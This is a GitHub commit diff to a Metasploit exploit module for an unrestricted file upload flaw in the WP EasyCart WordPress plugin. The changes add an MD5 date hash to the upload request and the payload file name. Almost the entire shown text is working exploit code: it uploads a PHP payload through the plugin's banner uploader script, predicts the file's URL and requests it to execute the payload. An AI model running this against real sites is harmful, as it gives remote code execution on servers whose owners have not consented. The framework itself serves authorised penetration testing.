Skip to content

Commit e6f6ace

Browse files
committed
Add a date hash to the post data
1 parent ea37e2e commit e6f6ace

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'digest/md5'
78

89
class Metasploit3 < Msf::Exploit::Remote
910
Rank = ExcellentRanking
@@ -64,9 +65,9 @@ def check
6465
check_plugin_version_from_readme('wp-easycart', '3.0.5')
6566
end
6667

67-
def generate_mime_message(payload, name)
68+
def generate_mime_message(payload, date_hash, name)
6869
data = Rex::MIME::Message.new
69-
data.add_part('1', nil, nil, 'form-data; name="datemd5"')
70+
data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
7071
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
7172
data
7273
end
@@ -79,10 +80,11 @@ def exploit
7980

8081
print_status("#{peer} - Preparing payload...")
8182
payload_name = Rex::Text.rand_text_alpha(10)
83+
date_hash = Digest::MD5.hexdigest(Time.now.to_s)
8284
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
8385
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
84-
payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_1.php")
85-
data = generate_mime_message(payload, "#{payload_name}.php")
86+
payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_#{date_hash}.php")
87+
data = generate_mime_message(payload, date_hash, "#{payload_name}.php")
8688

8789
print_status("#{peer} - Uploading payload to #{payload_url}")
8890
res = send_request_cgi(
@@ -98,7 +100,7 @@ def exploit
98100
print_good("#{peer} - Uploaded the payload")
99101

100102
print_status("#{peer} - Executing the payload...")
101-
register_files_for_cleanup("#{payload_name}_1.php")
103+
register_files_for_cleanup("#{payload_name}_#{date_hash}.php")
102104
send_request_cgi(
103105
{
104106
'uri' => payload_url,

0 commit comments

Comments
 (0)